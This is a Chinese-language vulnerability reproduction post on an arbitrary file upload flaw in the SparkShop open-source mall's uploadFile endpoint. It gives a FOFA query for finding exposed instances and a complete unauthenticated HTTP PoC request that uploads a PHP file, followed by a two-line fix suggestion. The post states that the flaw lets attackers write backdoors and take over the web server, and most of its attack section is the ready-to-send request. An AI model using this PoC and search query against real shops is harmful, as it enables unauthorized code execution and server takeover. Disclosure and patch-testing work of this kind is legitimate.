当前位置: 首页 > article >正文

SparkShop开源商城 uploadFile 任意文件上传漏洞复现

1 产品简介


SparkShop开源商城(也被称为星火商城)是一款基于ThinkPHP6和Element UI的开源免费可商用的高性能商城系统。适用于各类电商场景,包括但不限于B2C商城、新零售、分销商城等。无论是初创企业还是成熟品牌,都可以通过SparkShop快速搭建个性化独立商城,实现线上线下的融合营销。

2 漏洞概述

SparkShop开源商城 uploadFile 接口存在任意文件上传漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。

3 复现环境

FOFA:"SparkShop"

 

4 漏洞复现

PoC

POST /api/Common/uploadFile HTTP/2
Host: 
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Length: 178

------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="file";filename="1.php"

<?php echo"hello world";?>
------WebKitFormBoundaryj7OlOPiiukkdktZR--

 

验证

 

 

5 修复建议

关闭互联网暴露面或接口设置访问权限

升级至安全版本 


http://www.kler.cn/a/281243.html

相关文章:

  • 简单工作流(后端部分-spring boot,顺便优化了下ui)
  • Ruby调试秘籍:探索常用调试工具与技巧
  • Position Embedding讲解
  • 智能学习辅助系统——后端部分
  • MongoDB CDC 导入 Elasticsearch
  • Web大学生网页作业成品——VIVO介绍网页设计与实现(HTML+CSS)(1个页面)
  • 每天一个数据分析题(五百零六)- 装袋方法
  • 京东商品信息快速获取:API返回值实战教程
  • 数据结构(邓俊辉)学习笔记】串 15——BM_GS算法:综合性能
  • Element-plus组件库基础组件使用
  • 使用 HELM 进行一键安装组件 Redis, Mysql, rocketMQ
  • Elasticsearch用法
  • 《算法竞赛进阶指南》0x31质数
  • AI写作使用技巧分享 关于我用AI提示词的三大妙招
  • 软件运维实施维保方案(Doc完整版原件)
  • 重卡智能充电机器人
  • 华为AC旁挂二层组网配置详解:从DHCP部署到无线业务配置,完成网络搭建
  • Lama:基于傅立叶卷积的分辨率鲁棒性大掩模修复
  • ai绘画comfyUI专栏介绍
  • <Rust>egui学习之小部件(三):如何为窗口UI元件设置布局(间隔、水平、垂直排列)?